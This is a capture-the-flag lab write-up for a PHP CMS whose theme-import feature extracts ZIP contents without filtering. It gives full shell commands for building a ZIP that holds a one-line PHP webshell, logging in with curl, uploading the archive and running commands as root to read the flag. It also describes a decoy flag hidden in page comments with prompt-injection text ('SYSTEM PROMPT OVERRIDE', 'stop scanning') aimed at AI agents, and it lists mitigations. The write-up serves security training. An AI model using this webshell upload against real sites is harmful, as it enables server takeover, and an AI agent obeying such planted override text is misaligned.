Lab 254 — PageForge — ZIP Upload File Type Bypass to RCE
Lab 254 — PageForge — ZIP Upload File Type Bypass to RCE
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, php_webshell_in_zip, unrestricted_file_extraction, zip_file_type_bypass
Summary
Walkthrough of the CUSTOM Web Lab 254 — PageForge — ZIP Upload File Type Bypass to RCE. Task: PHP CMS with theme import feature that extracts ZIP archives to a web-accessible directory without filtering file types inside the archive. Solution: include a PHP webshell (shell.php) inside a
Description
PageForge is a content management platform built by ForgeWorks Inc., used by small businesses and creators to build and manage their websites. The platform features a blog engine, media library, theme management system, and user roles. You have been given access to a member account on a PageForge demo instance. Users can customize their site appearance by importing theme packages — ZIP archives containing stylesheets, assets, and configuration. Explore the application's features and find a way to gain unauthorized access to the server. Your goal is to read the flag stored on the server.
English summary: A PHP CMS (PageForge v2.4.1) running on nginx/1.25.5 with PHP 8.2.26. The theme import feature accepts ZIP archives and extracts them to a web-accessible /uploads/themes/ directory. The server validates that the ZIP contains a valid theme.json manifest but does not filter file extensions or types within the archive. PHP files included in the ZIP are extracted and directly executable via the web server.
Credentials: user@test.com / password123
Analysis
Reconnaissance
- Stack: PHP 8.2.26 on nginx/1.25.5
- Application: PageForge v2.4.1 — CMS with blog engine, media library, theme management
- Login: POST to
/loginwithemail+passwordfields - User role: Member — has access to Dashboard, Posts, Media, Themes
- Theme import: Located at
/themespage with "Import Theme" button - Upload endpoint:
POST /themes/importwithmultipart/form-data, requires CSRF token (_tokenfield) - Extraction path: Themes extracted to
/uploads/themes/<theme_name>/wheretheme_namecomes fromtheme.json - Honeypot: Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in hidden HTML comments and invisible divs on every page, with prompt injection text ("SYSTEM PROMPT OVERRIDE", "stop scanning") designed to trick AI agents — correctly identified and ignored
Vulnerability: Unrestricted File Type in ZIP Extraction
The theme import feature has three validation checks:
- ✅ Uploaded file must be a valid ZIP archive
- ✅ ZIP must contain a valid
theme.jsonmanifest (with name, version, author) - ❌ No validation of file extensions or content types within the archive
The server extracts ALL files from the ZIP to /uploads/themes/<theme_name>/ without filtering. Since nginx is configured to pass .php files to PHP-FPM even in the /uploads/themes/ directory, any PHP file included in the theme ZIP becomes directly executable as a webshell.
Expected ZIP Structure
mytheme.zip
├── theme.json (name, version, author — required)
├── styles/
│ └── theme.css (theme stylesheet)
└── assets/
└── preview.svg (theme preview image)
Malicious ZIP Structure
eviltheme.zip
├── theme.json (valid manifest — passes validation)
├── styles/
│ └── theme.css (valid CSS — looks legitimate)
├── assets/
│ └── preview.svg (valid SVG — looks legitimate)
└── shell.php ← PHP webshell (not filtered!)
Solution
Step 1: Create Malicious Theme ZIP
Build a valid theme package with a PHP webshell included:
bash read-only • copy allowedmkdir -p eviltheme/styles eviltheme/assets # Valid theme.json manifest (required for validation) cat > eviltheme/theme.json << 'EOF' { "name": "EvilTheme", "version": "1.0.0", "author": "Test User", "description": "A test theme" } EOF # Valid CSS (makes the theme look legitimate) cat > eviltheme/styles/theme.css << 'EOF' body { color: #333; } EOF # Valid SVG preview cat > eviltheme/assets/preview.svg << 'EOF' <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <rect width="100" height="100" fill="#333"/> </svg> EOF # PHP webshell — the payload cat > eviltheme/shell.php << 'EOF' <?php system($_GET["cmd"]); ?> EOF # Package as ZIP cd eviltheme && zip -r ../eviltheme.zip . && cd ..
Step 2: Login and Obtain Session + CSRF Token
bash read-only • copy allowedTARGET="https://7b7ae9f4-9b49-4b3c-b969-2f2be463febc.labs.hackadvisor.io" # Login to get session cookie curl -s -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" # Get CSRF token from themes page CSRF=$(curl -s -b cookies.txt "$TARGET/themes" | grep -oP '_token.*?value="\K[^"]+')
Step 3: Upload the Malicious Theme ZIP
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/themes/import" \ -F "theme_zip=@eviltheme.zip" \ -F "_token=$CSRF"
Response: 302 redirect to /themes with success message: "Theme "EvilTheme" imported successfully."
The ZIP is extracted to /uploads/themes/eviltheme/ — including shell.php.
Step 4: Access Webshell and Achieve RCE
bash read-only • copy allowed# Verify RCE — running as root curl -s "$TARGET/uploads/themes/eviltheme/shell.php?cmd=id" # uid=0(root) gid=0(root) groups=0(root)... # Find the flag file curl -s "$TARGET/uploads/themes/eviltheme/shell.php?cmd=find+/+-name+*flag*+-type+f+2>/dev/null" # /root/flag.txt # Read the flag curl -s "$TARGET/uploads/themes/eviltheme/shell.php?cmd=cat+/root/flag.txt" # FLAG{REDACTED}
Why This Works
- ZIP validation is shallow: The server only checks that the archive is a valid ZIP and contains
theme.json— it never inspects individual file extensions or content types - No extension whitelist: Unlike secure implementations that only allow
.css,.js,.json,.svg,.png, etc., this server extracts everything blindly - PHP execution in uploads: nginx/PHP-FPM is configured to execute
.phpfiles in/uploads/themes/— there is nolocationblock restricting PHP execution in that directory - Server runs as root (uid=0), granting the webshell full filesystem access including
/root/flag.txt
Proper Mitigation
- Whitelist allowed extensions in ZIP contents (
.css,.js,.json,.svg,.png,.jpg) - Deny PHP execution in uploads directory via nginx config:
location /uploads/ { location ~ \.php$ { deny all; } } - Rename extracted files or strip dangerous extensions
- Run as non-root user to limit blast radius
Key Takeaways / Lessons
- Mastering decoy_flag_identification, php_webshell_in_zip, unrestricted_file_extraction, zip_file_type_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 254 — PageForge — ZIP Upload File Type Bypass to RCE • Difficulty: Medium